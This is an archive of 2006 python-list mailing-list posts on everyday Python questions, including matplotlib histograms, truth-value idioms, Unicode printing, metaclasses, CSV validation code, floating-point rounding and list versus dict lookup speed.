> hi, I have some values(say from -a to a) stored in a vector and I want
> to plot a histogram for those values. How can I get it done in python.
> I have installed and imported the Matplotlib package but on executing
> the code
> [N,x]=hist(eig, 10) # make a histogram
>  I am getting an error saying   "NameError: name 'hist' is not
> defined".

Use the statement 'from pylab import *' in the beginning of your program.

Others, of course, may find it more tasteful and Pythonic to do:

[N,x]=pylab.hist(eig, 10)

i.e., prefix it with the package name. Wouldn't want to clutter the
global namespace of your program after all.

Good luck with it then. I think I see a reference to advanced linear
algebra with 'eig' (Eigen-?) and I'm sure you understand that better
than I. :)

-- Theerasak


From donn at u.washington.edu  Thu Oct 26 12:58:07 2006
From: donn at u.washington.edu (Donn Cave)
Date: Thu, 26 Oct 2006 09:58:07 -0700
Subject: question about True values
References: <grO%g.152$1n3.4134@news.tufts.edu>
	<7x4ptsi544.fsf@ruckus.brouhaha.com>
	<1161803802.110116.127470@m7g2000cwm.googlegroups.com>
	<7xvem8gq22.fsf@ruckus.brouhaha.com>
	<1161804934.010376.151330@f16g2000cwb.googlegroups.com>
	<453FD3AF.4040800@v.loewis.de>
	<1161812827.596356.316450@f16g2000cwb.googlegroups.com>
	<donn-4380C3.15593125102006@gnus01.u.washington.edu>
	<1161860305.348329.283780@m73g2000cwd.googlegroups.com>
	<mailman.1264.1161861732.11739.python-list@python.org>
Message-ID: <donn-15D0D7.09580726102006@gnus01.u.washington.edu>

In article <mailman.1264.1161861732.11739.python-list at python.org>,
 Steve Holden <steve at holdenweb.com> wrote:
...
> Maybe so, but that "rule" (and let's not forget that the zen is not 
> actually a set of prescriptive rules but rather guidelines for the 
> informed) is immediately preceded by the most important "rule" of all: 
> "Beautiful is better than ugly". Nobody will shout at you (well, 
> hopefully, not on this list they won't) for writing
> 
>    if my_list != []:
>      ...
> 
> in your code, but if they have to incorporate it into their own they 
> will almost certainly reduce it to
> 
>    if my_list:
>      ....
> 
> It's just idiomatic in Python, the same way that "'Sup?" is idiomatic in 
> English (or what passes for it nowadays ;-) but grates on those who 
> aren't used to hearing it.

It is idiomatic, but not _just_ idiomatic.  The former requires
a list object (or a tricky __eq__()), the latter works with a variety
of objects, exhibiting a useful polymorphism.

As for similarities between computer programming languages
and natural languages, I think that breaks down pretty fast.

Part of the problem is something that pinches Python pretty
hard right here, a lack of words that conveniently express
important concepts in the language.  A few posts back, Carl
Banks made a distinction between "equaling" and "being", and
if I understood that right, it expresses a fundamental notion
about the meaning of Python's "if", "while" etc. statements.
Unfortunately, though, English conflates existence and identity
in this word ("be"), so it's not going to serve our purposes
very well, and when it comes to words like "if" -- well, we
just have to use what we have.

If there were better words to use with the notion of
"something-ness", I think we would see booleans as a silly
thing of little use to Python programmers.  If you can see
"if" and "while" as constructs that respond to something-ness,
you will appreciate idiomatic Python better, because that
arguably is just what it's about.

   Donn Cave, donn at u.washington.edu


From onurb at xiludom.gro  Thu Oct 12 04:48:56 2006
From: onurb at xiludom.gro (Bruno Desthuilliers)
Date: Thu, 12 Oct 2006 10:48:56 +0200
Subject: operator overloading + - / * = etc...
In-Reply-To: <ege5m7$2t1$1@news.albasani.net>
References: <1160256250.688620.63770@h48g2000cwc.googlegroups.com>
	<slrneig76h.6u2.sybrenUSE@schuimige.stuvel.eu>
	<mailman.32.1160258060.11739.python-list@python.org>
	<slrneig8v2.746.sybrenUSE@schuimige.stuvel.eu>
	<mailman.34.1160260043.11739.python-list@python.org>
	<pan.2006.10.08.01.08.09.501368@REMOVE.THIS.cybersource.com.au>
	<452a6a61$0$22844$426a74cc@news.free.fr>
	<ege5m7$2t1$1@news.albasani.net>
Message-ID: <452e017a$0$30320$426a74cc@news.free.fr>

Georg Brandl wrote:
> Bruno Desthuilliers wrote:
>> Steven D'Aprano wrote:
>>> On Sat, 07 Oct 2006 17:21:55 -0500, Tim Chase wrote:
>>>
>>>>>> With the caveat of the "=" mentioned in the subject-line (being
>>>>>> different from "==")...I haven't found any way to override
>>>>>> assignment in the general case.
>>>>> Why would you want to do that?
>>>> For the same reason one would use property() to create getter/setter
>>>> functions for a particular variable--to intercept attempts to set a
>>>> variable.
>>>
>> (snip)
>>
>>> Suppose we bind the name "x" to the object 1, and then rebind the
>>> name "x"
>>> to the object []. Which object's hypothetical __assign__ method
>>> should get
>>> called? 
>>
>> The current namespace object, of course.
> 
> Which is?

Depends on the context... Can be actually the module (global) namespace,
a function local namespace or a class namespace.


-- 
bruno desthuilliers
python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
p in 'onurb at xiludom.gro'.split('@')])"


From no-spam at no-spam-no-spam.com  Thu Oct 12 08:44:07 2006
From: no-spam at no-spam-no-spam.com (robert)
Date: Thu, 12 Oct 2006 14:44:07 +0200
Subject: httplib/DAV: How to respond to "WWW-Authenticate: NTLM" ?
Message-ID: <egldb1$17q$1@ulysses.news.tiscali.de>

In a DAV scheme with PROPFIND or GET (PROPFIND /test/ HTTP/1.1)  and 
Basic AUTH to a MS SharePoint over https server (AUTH required), he 
responds 'WWW-Authenticate: NTLM' only:

reply: 'HTTP/1.1 401 Unauthorized\r\n'
header: Content-Length: 1656
header: Content-Type: text/html
header: Server: Microsoft-IIS/6.0
header: WWW-Authenticate: NTLM
header: X-Powered-By: ASP.NET
header: MicrosoftSharePointTeamServices: 6.0.2.6568
header: Date: Thu, 12 Oct 2006 12:27:42 GMT


I simply try repeatedly the same request with Basic Auth header again => 
The same response requesting 'header: WWW-Authenticate: NTLM' again.

But then after an unsuccessful test on a really new connection (.close() 
, .request()) he accepts the Basic AUTH immediately.

* What is this?
* Is this a legal/known way to respond to a NTLM AUTH request by 
.close() and reconnect with Basic Auth?
* Is there a Python function out there to do real NTLM authentication?.. 
and is this recommended to dig into Microsofty HTTP protocols ?


-robert


From __peter__ at web.de  Tue Oct 10 02:23:28 2006
From: __peter__ at web.de (Peter Otten)
Date: Tue, 10 Oct 2006 08:23:28 +0200
Subject: Encode differences between idle python and python
References: <1160459071.233638.167150@k70g2000cwa.googlegroups.com>
Message-ID: <egfe59$etf$01$1@news.t-online.com>

pretoriano_2001 at hotmail.com wrote:

> >>> u=u'?????'
> >>> u
> u'\xe1\xe9\xed\xf3\xfa'
> >>> print u
> ?????
> >>> a=u.encode('latin-1')
> >>> a
> '\xe1\xe9\xed\xf3\xfa'
> >>> print a
> ?????

That means that Python is better at guessing the correct encoding than you
are. Here's how you can make it share its secrets:

>>> import sys
>>> sys.stdout.encoding
'UTF-8' # something else on your machine (cp850, maybe)

Then you can use that encoding to print:

>>> your_encoding = sys.stdout.encoding
>>> print u"?????".encode(your_encoding)
?????

On the other hand: why not always print the unicode string directly?

Peter


From tomec at obywatel.pl  Sun Oct  8 13:12:22 2006
From: tomec at obywatel.pl (tomec at obywatel.pl)
Date: 8 Oct 2006 10:12:22 -0700
Subject: SqlAlchemy how and where it can be used?
Message-ID: <1160327542.606433.269250@h48g2000cwc.googlegroups.com>

hello,

Ive read some articles about SqlAlchemy but i don't know where i can
use this?
Lets say that i would like to create some application which will be
using sqlAlchemy My question is
which programming language can i code to use it? (only Python)? Do you
know any good python editors which supports SqlAlchemy?

I would be gratefull for any kind of help
Best regards

Tom Agents



From ziade.tarek at gmail.com  Fri Oct 13 19:34:55 2006
From: ziade.tarek at gmail.com (=?ISO-8859-1?Q?Tarek_Ziad=E9?=)
Date: Sat, 14 Oct 2006 01:34:55 +0200
Subject: rexec and Python 2.5
Message-ID: <94bdd2610610131634i5dcd1cf0mbfa61584ac6b6ce9@mail.gmail.com>

Hello

I tried to use rexec in Python 2.5, since i've seen that the module was
still present

But it fails, and this code can be found in rexec.RExec init code:

raise RuntimeError, "This code is not secure in Python 2.2 and 2.3"

So, the comment should talk about 2.4 and 2.5 too ? Is this just a forgotten
change ? If so, why it is still deployed in Python ?

I want to embed a Python read-eval-print loop in one of my python program,
so if someone has another way to do it

Regards

Tarek

-- 
Tarek Ziad? | Association AfPy | www.afpy.org
Site personnel | http://programmation-python.org
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From letezo at fw.hu  Sat Oct 28 19:35:29 2006
From: letezo at fw.hu (=?iso-8859-2?B?TOl0ZXr1?=)
Date: Sun, 29 Oct 2006 01:35:29 +0200
Subject: Metaclasses are not called in subclasses. What did I wrong?
Message-ID: <000501c6fae9$d27eff20$8600a8c0@ANNA>

I use Python 2.4.4. Please read the code below:

-----------------------------------------------------------
from new import classobj

def mymeta(name,bases,clsdict):
    print 'meta: %s'%name
    return classobj(name,bases,clsdict)

class A(object):
    __metaclass__=mymeta

class B(A):
    pass

-----------------------------------------------------------

This should print

meta: A
meta: B

when classes A and B are created. But only meta: B is missing,
since mymeta() is not called when class B is created.

Related python documentation states that mymeta() must be called when B is 
created, since metaclasses are looked up in bases classes if not found in 
the dictionary of the class itself.

>From Python 2.4.4's manual: "Otherwise, if there is at least one base class, 
its metaclass is used (this looks for a __class__ attribute first and if not 
found, uses its type)."

Thanks for your help.

Viktor 



From eric.pederson at gmail.com  Thu Oct  5 17:07:22 2006
From: eric.pederson at gmail.com (EP)
Date: 5 Oct 2006 14:07:22 -0700
Subject: Request for recommendations: shared database without a server
In-Reply-To: <45256EEC.5030705@websafe.com>
References: <1160077602.190028.286290@h48g2000cwc.googlegroups.com>
	<45256EEC.5030705@websafe.com>
Message-ID: <1160082441.959287.325820@e3g2000cwe.googlegroups.com>

Larry Bates wrote:

> So what is going to be holding the "network drive" if it isn't a server?
> And what is MySQL running on?


The network drives are on a filer (a NAS array, I believe).  The filer
will not execute any code, it just serves data by whatever protocols
(example: CIFS, NFS) it is set up for.

I have MySQL running on my client machine for development, populating
itself from csv files out on another network drive which a perl cgi
script updates.  Thick in kludge, I am.


> Isn't it 'odd' that you can expect people to install MS Access but not
> some other program?


Odd and frustrating, but MS Access is "normal".


> I had to use only "existing" database tools, and the data wasn't
> too large or too complicated I would use ODBC to dBase file which
> is built into all versions of Windows that I'm aware of.  I think
> you would find that it would work for small number of users.  With
> some good planning you should also be able to architect application
> so that you can even change the underlying database later without
> too much heartburn.


Interesting idea.


thanks



From sonaldgr8 at gmail.com  Wed Oct 25 05:04:56 2006
From: sonaldgr8 at gmail.com (sonald)
Date: 25 Oct 2006 02:04:56 -0700
Subject: Unicode support in python
In-Reply-To: <mailman.839.1161349871.11739.python-list@python.org>
References: <1161333949.746819.253500@m7g2000cwm.googlegroups.com>
	<1161347155.127042.88710@m7g2000cwm.googlegroups.com>
	<mailman.839.1161349871.11739.python-list@python.org>
Message-ID: <1161767096.826007.162310@b28g2000cwb.googlegroups.com>

Fredrik Lundh wrote:
>
> what does the word "validate" mean here?
>
Let me explain our module.
We receive text files (with comma separated values, as per some
predefined format) from a third party.
for example account file comes as "abc.acc" {.acc is the extension for
account file as per our code}
it must contain account_code, account_description, account_balance in
the same order.

So, from the text file("abc.acc") we receive for 2 or more records,
will look like
A001, test account1, 100000
A002, test account2, 500000

We may have multiple .acc files

Our job is to validate the incoming data on the basis of its datatype,
field number, etc and copy all the error free records in acc.txt

for this, we use a schema as follows
----------------------------------------------------------------------------------------------------------
if account_flg == 1:
        start = time()

        # the input fields
        acct_schema = {
            0: Text('AccountCode', 50),
            1: Text('AccountDescription', 100),
            2: Text('AccountBalance', 50)
        }

validate( schema        = acct_schema,
                      primary_keys  = [acct_pk],
                      infile        = '../data/ACC/*.acc',
                      outfile       = '../data/acc.txt',
                      update_freq = 10000)
----------------------------------------------------------------------------------------------------------
In a core.py, we have defined a function validate, which checks for the
datatypes & other validations.
All the erroneous records are copied in a error log file, and the
correct records are copied to a clean acc.text file

The validate function is as given below...
---------------------------------------------------------------------------------------------------------------------------
def validate(infile, outfile, schema, primary_keys=[], foreign_keys=[],
record_checks=[], buffer_size=0, update_freq=0):

    show("intitalizing ... ")

    # find matching input files
    all_files  = glob.glob(infile)
    if not all_files:
        raise ValueError('No input files were found.')

    # initialize data structures
    freq       = update_freq or DEFAULT_UPDATE
    input      = fileinput.FileInput(all_files, bufsize = buffer_size
or DEFAULT_BUFFER)
    output     = open(outfile, 'wb+')
    logs       = {}
    for name in all_files:
        logs[name]  = open(name + DEFAULT_SUFFIX, 'wb+')
        #logs[name]  = open(name + DEFAULT_SUFFIX, 'a+')

    errors     = []
    num_fields = len(schema)
    pk_length  = range(len(primary_keys))
    fk_length  = range(len(foreign_keys))
    rc_length  = range(len(record_checks))

    # initialize the PKs and FKs with the given schema
    for idx in primary_keys:
        idx.setup(schema)
    for idx in foreign_keys:
        idx.setup(schema)

    # start processing: collect all lines which have errors
    for line in input:
        rec_num = input.lineno()
        if rec_num % freq == 0:
            show("processed %d records ... " % (rec_num))
            for idx in primary_keys:
                idx.flush()
            for idx in foreign_keys:
                idx.flush()

        if BLANK_LINE.match(line):
            continue

        try:
            data = csv.parse(line)

            # check number of fields
            if len(data) != num_fields:
                errors.append( (rec_num, LINE_ERROR, 'incorrect number
of fields') )
                continue

            # check for well-formed fields
            fields_ok = True
            for i in range(num_fields):
                if not schema[i].validate(data[i]):
                    errors.append( (rec_num, FIELD_ERROR, i) )
                    fields_ok = False
                    break

            # check the PKs
            for i in pk_length:
                if fields_ok and not primary_keys[i].valid(rec_num,
data):
                    errors.append( (rec_num, PK_ERROR, i) )
                    break

            # check the FKs
            for i in fk_length:
                if fields_ok and not foreign_keys[i].valid(rec_num,
data):
                    #print 'here ---> %s, rec_num : %d'%(data,rec_num)
                    errors.append( (rec_num, FK_ERROR, i) )
                    break

            # perform record-level checks
            for i in rc_length:
                if fields_ok and not record_checks[i](schema, data):
                    errors.append( (rec_num, REC_ERROR, i) )
                    break

        except fastcsv.Error, err:
            errors.append( (rec_num, LINE_ERROR, err.__str__()) )

    # finalize the indexes to check for any more errors
    for i in pk_length:
        error_list = primary_keys[i].finalize()
        primary_keys[i].save()
        if error_list:
            errors.extend( [ (rec_num, PK_ERROR, i) for rec_num in
error_list ] )

    for i in fk_length:
        error_list = foreign_keys[i].finalize()
        if error_list:
            errors.extend( [ (rec_num, FK_ERROR, i) for rec_num in
error_list ] )


    # sort the list of errors by the cumulative line number
    errors.sort( lambda l, r: cmp(l[0], r[0]) )

    show("saving output ... ")

    # reopen input and sort it into either the output file or error log
file
    input      = fileinput.FileInput(all_files, bufsize = buffer_size
or DEFAULT_BUFFER)
    error_list = iter(errors)
    count      = input.lineno
    filename   = input.filename
    line_no    = input.filelineno


    try:
        line_num, reason, i = error_list.next()
    except StopIteration:
        line_num = -1
    for line in input:
        line = line + '\r\n'
        #print '%d,%d'%(line_num,count())
        if line_num == count():

            if reason == FIELD_ERROR:
                logs[filename()].write(ERROR_FORMAT % (line_no(),
INVALID_FIELD % (schema[i].name), line))
            elif reason == LINE_ERROR:
                logs[filename()].write(ERROR_FORMAT % (line_no(), i,
line))
            elif reason == PK_ERROR:
                logs[filename()].write(ERROR_FORMAT % (line_no(),
INVALID_PK % (primary_keys[i].name), line))
            elif reason == FK_ERROR:
                #print 'Test FK %s, rec_num : %d, line :
%s'%(foreign_keys[i].name,line_no(),line)
                logs[filename()].write(ERROR_FORMAT % (line_no(),
INVALID_FK % (foreign_keys[i].name), line))
            elif reason == REC_ERROR:
                logs[filename()].write(ERROR_FORMAT % (line_no(),
INVALID_REC % (record_checks[i].__doc__), line))
            else:
                raise RuntimeError("shouldn't reach here")

            try:
                #print 'CURRENT ITERATION, line_num : %d, line :
%s'%(line_num,line)
                line_num1 = line_num
                line_num, reason, i = error_list.next()
                if line_num1 == line_num :
                    line_num, reason, i = error_list.next()

                #print 'FOR NEXT ITERATION, line_num : %d, line :
%s'%(line_num,line)

            except StopIteration:
                line_num = -1
            continue

        if not BLANK_LINE.match(line):
            output.write(line)

    output.close()
    for f in logs.values():
        f.close()
-----------------------------------------------------------------------------------------------------------------------------

now when I open the error log file, it contains the error message for
each erroneous record, along with the original record copied from the
*.acc file.
Now this record is preceeded with a box like character.

Do you want me to post the complete code , just incase...
It might help... you might then understand my problem well..
plz let me know soon



From limodou at gmail.com  Mon Oct  9 03:58:41 2006
From: limodou at gmail.com (limodou)
Date: Mon, 9 Oct 2006 15:58:41 +0800
Subject: ANN:UliPad 3.4 Release
In-Reply-To: <505f13c0610090052g48745affkb08aa93e4e3fdaa4@mail.gmail.com>
References: <505f13c0610090052g48745affkb08aa93e4e3fdaa4@mail.gmail.com>
Message-ID: <505f13c0610090058x13cff334xaeb89fd029d19ab2@mail.gmail.com>

Sorry for the url

download lastest version 3.4:
 http://wiki.woodpecker.org.cn/moin/UliPad?action=AttachFile&do=get&target=ulipad_3.4.zip
 also have windows installer:
http://wiki.woodpecker.org.cn/moin/UliPad?action=AttachFile&do=get&target=UliPad.3.4.exe

-- 
I like python!
UliPad <<The Python Editor>>: http://wiki.woodpecker.org.cn/moin/UliPad
My Blog: http://www.donews.net/limodou


From DustanGroups at gmail.com  Sat Oct 21 07:22:24 2006
From: DustanGroups at gmail.com (Dustan)
Date: 21 Oct 2006 04:22:24 -0700
Subject: Customize the effect of enumerate()?
In-Reply-To: <7xfyditoui.fsf@ruckus.brouhaha.com>
References: <1161391519.145292.249510@i42g2000cwa.googlegroups.com>
	<7xfyditoui.fsf@ruckus.brouhaha.com>
Message-ID: <1161429744.440457.251850@m7g2000cwm.googlegroups.com>


Paul Rubin wrote:
> "Dustan" <DustanGroups at gmail.com> writes:
> > Can I make enumerate(myObject) act differently?
>
> No.
>
> > Why the funny behavior, you ask? For my class A, it doesn't make sense
> > to number everything the standard programming way.
>
> Add an enumerate method to the class then, that does what you want.
> Maybe dict.iteritems would be a better example to follow.

That's what I thought. Thanks anyway!



From hg at nospam.com  Fri Oct 13 15:43:22 2006
From: hg at nospam.com (hg)
Date: Fri, 13 Oct 2006 14:43:22 -0500
Subject: wing ide vs. komodo?
In-Reply-To: <mailman.481.1160768935.11739.python-list@python.org>
References: <2nRXg.108$1n3.2866@news.tufts.edu>	<mailman.480.1160767168.11739.python-list@python.org>	<tURXg.27343$Go3.5193@dukeread05>
	<mailman.481.1160768935.11739.python-list@python.org>
Message-ID: <18SXg.27347$Go3.9933@dukeread05>

Theerasak Photha wrote:
> On 10/13/06, hg <hg at nospam.com> wrote:
> 
>> I'm really interested: my *small* company is ready to spend the ~300$ in
>> the process, but Komodo looks _very_ sparse.
>>
>> How do you go about it? ... I have resources to look at it for one or
>> two days.
> 
> It's entirely possible you could use a free IDE as well. (Just
> throwing it out there.)
> 
> -- Theerasak

I have spend the past two years with eclipse/pydev ... a few issue are
still troublesome to me (speed, search for definitions ... being a few
of them) ... and until two days ago I had not even looked at Wing as I
wrongly thought it was on Windoze-based. But I must must admit I am
impressed - yet I feel it would be stupid to not look carefully at
Komodo ... hence my questions.

hg



From steve at REMOVE.THIS.cybersource.com.au  Sun Oct 15 19:10:25 2006
From: steve at REMOVE.THIS.cybersource.com.au (Steven D'Aprano)
Date: Mon, 16 Oct 2006 09:10:25 +1000
Subject: problem with the 'math' module in 2.5?
References: <1160883192.973842.240290@m7g2000cwm.googlegroups.com>
	<mailman.526.1160885916.11739.python-list@python.org>
	<1160886206.594661.321230@e3g2000cwe.googlegroups.com>
	<mailman.529.1160891759.11739.python-list@python.org>
	<1160903686.538807.201310@i42g2000cwa.googlegroups.com>
	<mailman.535.1160906617.11739.python-list@python.org>
Message-ID: <pan.2006.10.15.23.10.25.221017@REMOVE.THIS.cybersource.com.au>

On Sun, 15 Oct 2006 20:03:18 +1000, Ben Finney wrote:

> "Paddy" <paddy3118 at netscape.net> writes:
> 
>> Ben Finney wrote:
>> > Your calculator is probably doing rounding without you asking for
>> > it.
>> >
>> > Python refuses to guess what you want, and gives you the
>> > information available.
>>
>> I don't think Python should take too much credit here.
> 
> I don't understand what you could mean by this. Credit for "giv[ing]
> you the information available"? That's exactly what it's doing.
> 
>> Floating point calcuations are subject to rounding. Sometimes it
>> shows.
> 
> And Python is showing it, rather than hiding it. It certainly isn't
> doing any rounding unless asked to do so.

Python simply exposes whatever the C maths library does. The C maths
library is almost certainly doing some rounding: floats have only a finite
precision, which generally means the designer of the math library has two
choices: just truncate (chop) the calculation, or carry extra guard digits
(or bits) and round down. Most systems these days use guard digits, as
that is more accurate than truncating to a fixed precision.

If you mean that Python isn't doing *extra* rounding, above and beyond
what the C library is doing, you're correct. But rounding is happening.

This is a useful resource:

"What every computer scientist should know about floating-point
arithmetic"
http://docs.sun.com/source/806-3568/ncg_goldberg.html

To go back to the Original Poster's problem, he pointed out that his "16
bit calculator" gave a more accurate (but less precise) answer for
sin(pi), namely 0, instead of the more precise (but less accurate)
1.2246063538223773e-016 that Python reported. That just goes to show that,
sometimes, extra precision in floating point maths is a bad thing -- a
less precise library would actually have given a more correct answer.

This isn't strictly a Python question, but if there is anybody out there
who knows what the C library is doing, I'd appreciate an answer: since
sine is periodic, doesn't it make sense to reduce the argument modulo pi
before calculating the sine? Something like this:

def _sin(x):
    x = x % math.pi
    return math.sin(x)

Yes, you lose precision for large values of x because of the modulo, and
because math.pi isn't precisely pi, but that's got to be better than
losing precision for moderate values of x, surely? Have I missed something?


-- 
Steve.



From http  Wed Oct 25 15:18:50 2006
From: http (Paul Rubin)
Date: 25 Oct 2006 12:18:50 -0700
Subject: cleaner way to write this?
References: <USN%g.148$1n3.4086@news.tufts.edu>
	<j5O%g.150$1n3.4013@news.tufts.edu>
	<7xwt6o44um.fsf@ruckus.brouhaha.com>
	<%dO%g.151$1n3.4135@news.tufts.edu>
	<7x8xj4i5gq.fsf@ruckus.brouhaha.com>
	<qHO%g.153$1n3.4133@news.tufts.edu>
Message-ID: <7xzmbkgq5h.fsf@ruckus.brouhaha.com>

John Salerno <johnjsal at NOSPAMgmail.com> writes:
> >      def create_db_name(self):
> >          try:
> >             while True:
> >                dlg = wx.TextEntryDialog(self.frame, 'Enter a database name:',
> >                                        'Create New Database')
> >                if dlg.ShowModal() != wx.ID_OK:
> >                    return None
> >                db_name = dlg.GetValue()
> >                if db_name:
> >                    return db_name
> >                pop_up_error_dialog("please enter a value or press cancel")
> >          finally:
> >             dlg.Destroy()
> 
> Interesting. Some variation of this might suit me, but I think one
> other problem I'm having is that the ShowModal() method returns
> whenever a button is pressed, so even if OK is pressed with an empty
> string in the box, the dialog disappears and returns an "OK" value.

Right.  The above handles that case, I believe.  If the user clicks
with an empty string, showModal() returns wx.ID_OK, GetValue() returns
the empty string, db_name gets set to that empty string, db_name gets
tested (maybe I should have made the comparison with the empty string
explicit), the error dialog pops up since db_name is empty, and the
loop repeats.


From ewijaya at i2r.a-star.edu.sg  Tue Oct  3 10:08:21 2006
From: ewijaya at i2r.a-star.edu.sg (Wijaya Edward)
Date: Tue, 03 Oct 2006 22:08:21 +0800
Subject: Benchmarking Python's subroutines/function
Message-ID: <3ACF03E372996C4EACD542EA8A05E66A061583@mailbe01.teak.local.net>


Hi,
 
How does one benchmark
multiple subroutines in Python?
Is there a built-in library for that?
 
--
Regards,
Edward WIJAYA
SINGAPORE

------------ Institute For Infocomm Research - Disclaimer -------------
This email is confidential and may be privileged.  If you are not the intended recipient, please delete it and notify us immediately. Please do not copy or use it for any purpose, or disclose its contents to any other person. Thank you.
--------------------------------------------------------


From tuomas.vesterinen at pp.inet.fi  Fri Oct 20 17:58:52 2006
From: tuomas.vesterinen at pp.inet.fi (Tuomas)
Date: Fri, 20 Oct 2006 21:58:52 GMT
Subject: cross-linked version of the python documentation
In-Reply-To: <453904e0$0$25170$88260bb3@free.teranews.com>
References: <453904e0$0$25170$88260bb3@free.teranews.com>
Message-ID: <wEb_g.485$uZ1.179@read3.inet.fi>

tom arnall wrote:
> Is there a cross-linked version of the python documentation available? Is
> anyone interested in starting a project for such?
> 
> tom arnall
> north spit, ca
> usa
> 

pydoc serves as such a cross-linked version of the python *online* 
documentation

TV


From ajones1 at gmail.com  Thu Oct 19 11:32:37 2006
From: ajones1 at gmail.com (Adam Jones)
Date: 19 Oct 2006 08:32:37 -0700
Subject: What happened to RuleDispatch
In-Reply-To: <1161265603.275979.51220@e3g2000cwe.googlegroups.com>
References: <1161154025.466013.102780@e3g2000cwe.googlegroups.com>
	<1161204102.346021.154750@f16g2000cwb.googlegroups.com>
	<1161265458.878033.121690@m7g2000cwm.googlegroups.com>
	<1161265603.275979.51220@e3g2000cwe.googlegroups.com>
Message-ID: <1161271957.618070.167220@m73g2000cwd.googlegroups.com>


exhuma.twn wrote:
> On Oct 19, 3:44 pm, "exhuma.twn" <exh... at gmail.com> wrote:
> > On Oct 18, 10:41 pm, "Adam Jones" <ajon... at gmail.com> wrote:
> >
> >
> >
> > > exhuma.twn wrote:
> > > > Hi all,
> >
> > > > yesterday I wanted to install TurboGears, which depends on
> > > >RuleDispatch. However, I failed to download it. First I got the error
> > > > "Bad Gateway" from the server, today it's simply a "Not Found" error.
> > > > So what happened to it? Does somebody know?
> >
> > > > I would really need to install TurboGears in the next couple of days.
> > > > So if someone knows where I can find a mirror ofRuleDispatchI would
> > > > be very grateful.The required files for TG are mirrored on the turbogears.org download
> > > page. You should be able to get an installation by looking up the files
> > > there. Try this command:
> >
> > > easy_install -fhttp://www.turbogears.org/download/index.html
> > > TurboGears
> >
> > > That is actually the recommended way to install TurboGears, as it is
> > > not always compatible with the latest version of the components.
> >
> > > -AdamHmmm... this is wat I get:
> >
> > Using /usr/lib/python2.4/site-packages/TurboGears-1.0b1-py2.4.egg
> > Processing dependencies for TurboGears
> > Searching forRuleDispatch
> > Readinghttp://www.turbogears.org/download/index.html
> > Best match:RuleDispatch0.5a0.dev-r2115
> > Downloadinghttp://files.turbogears.org/eggs/RuleDispatch-0.5a0.dev-r2115.tar.gz
> > error: Can't downloadhttp://files.turbogears.org/eggs/RuleDispatch-0.5a0.dev-r2115.tar.gz:
> > 502 Bad Gateway
> >
> > Could this be a local issue?
>
> Forgot to say I also tried to download it via the web-browser. This
> gave me the following error (generated by the proxy I have to use):
>
> "Server response could not be decoded using encoding type returned by
> server.
> This is typically caused by a Web Site presenting a content encoding
> header of one type, and then encoding the data differently."

I just tried it for myself (with my workplace's proxy) and had no
problems. You might want to check on the TurboGears mailing list (
http://groups.google.com/group/turbogears ) to see if someone there can
help you figure out what is going on. Downloading the eggs at another
location and installing locally is also an option.

-Adam



From i_vincent at hotmail.com  Tue Oct 10 05:39:23 2006
From: i_vincent at hotmail.com (Ian Vincent)
Date: 10 Oct 2006 10:39:23 +0100
Subject: Jython Sounds Examples
Message-ID: <Xns98586E84448E2ivincenthotmailcom@10.15.188.42>

I have been hunting around Google hits for any source code examples of 
using sound (preferably WAV) under Jython with no success (minus several 
using other toolkits such as JNRI and JES). Does anybody know if any such 
examples exist and if so, I would be grateful for a pointer in their 
direction?


From onurb at xiludom.gro  Wed Oct  4 04:23:15 2006
From: onurb at xiludom.gro (Bruno Desthuilliers)
Date: Wed, 04 Oct 2006 10:23:15 +0200
Subject: was python implemented as a object oriented langage at the
	beginning ?
In-Reply-To: <1159913594.141208.280030@i3g2000cwc.googlegroups.com>
References: <f3a8ca7c0610030506k2fb6040ai9e256049ebf9100e@mail.gmail.com>
	<mailman.1162.1159878320.10491.python-list@python.org>
	<1159879673.081812.124460@i3g2000cwc.googlegroups.com>
	<1159913594.141208.280030@i3g2000cwc.googlegroups.com>
Message-ID: <45236f74$0$19034$426a74cc@news.free.fr>

has wrote:
> Python's type/class
> distinction 

Which "type/class" distinction ?


-- 
bruno desthuilliers
python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
p in 'onurb at xiludom.gro'.split('@')])"


From steve at REMOVE.THIS.cybersource.com.au  Sat Oct 21 07:09:07 2006
From: steve at REMOVE.THIS.cybersource.com.au (Steven D'Aprano)
Date: Sat, 21 Oct 2006 21:09:07 +1000
Subject: The fastest search
References: <mailman.895.1161423841.11739.python-list@python.org>
Message-ID: <pan.2006.10.21.11.09.06.806891@REMOVE.THIS.cybersource.com.au>

On Sat, 21 Oct 2006 17:41:04 +0800, Fulvio wrote:

> I'm poor in knoweledge of python, sorry. What's the fastest result between :
> 
> if item in alist:
>          do_something
> 
> or
> 
> if adictionay has_key(item):
>          do_something

Let's find out.

Searches that succeed:

>>> import timeit
>>> search_list_setup = "L = range(10000)"
>>> search_list = "L.index(7500)"
>>> timeit.Timer(search_list, search_list_setup).timeit(10000)
8.0721840858459473

>>> search_dict_setup = """D = {}
... for i in range(10000):
...     D[i] = None
... """
>>> search_dict = "D.has_key(7500)"
>>> timeit.Timer(search_dict, search_dict_setup).timeit(10000)
0.0079340934753417969

So for searches that succeed, dicts are much faster than lists.

How about searches that fail?


>>> search_dict_fail = "D.has_key(-7500)"
>>> timeit.Timer(search_dict_fail, search_dict_setup).timeit(10000)
0.0060589313507080078

>>> search_list_fail = """try:
...     L.index(-7500)
... except ValueError:
...     pass
... """
>>> timeit.Timer(search_list_fail, search_list_setup).timeit(10000)
11.371721982955933

Again, dicts are much faster.

But what if you know the list is sorted, and you can do a binary search?

>>> binary_search_setup = """import bisect
... L = range(10000)
... """
>>> binary_search = "bisect.bisect(L, 7500)"
>>> timeit.Timer(binary_search, binary_search_setup).timeit(10000)
0.04595494270324707

Still slower than a dict, but much, much faster than a linear search.


> Is there some trick to apply the best search in wise use of resources
> while using the above said methods?

Yes. 

Measure, don't guess. Don't even think about optimising your code until
it is working. Use the data structures which are natural to the task, then
measure to see if it is too slow. Never assume something is too slow until
you've measured it. Measure using realistic data -- don't do all your
tests with lists of ten items if actual working data will have ten
thousand items, and vice versa.

And most importantly, think about whether optimisation is a worthwhile use
of your time: do you really care about saving five milliseconds in a
program that takes 30 seconds to run?


-- 
Steve.



From sybrenUSE at YOURthirdtower.com.imagination  Mon Oct  2 12:52:31 2006
From: sybrenUSE at YOURthirdtower.com.imagination (Sybren Stuvel)
Date: Mon, 2 Oct 2006 18:52:31 +0200
Subject: Python/UNO/OpenOffice?
References: <78b3a9580609301049y6eef219cy18f89abc58b55e68@mail.gmail.com>
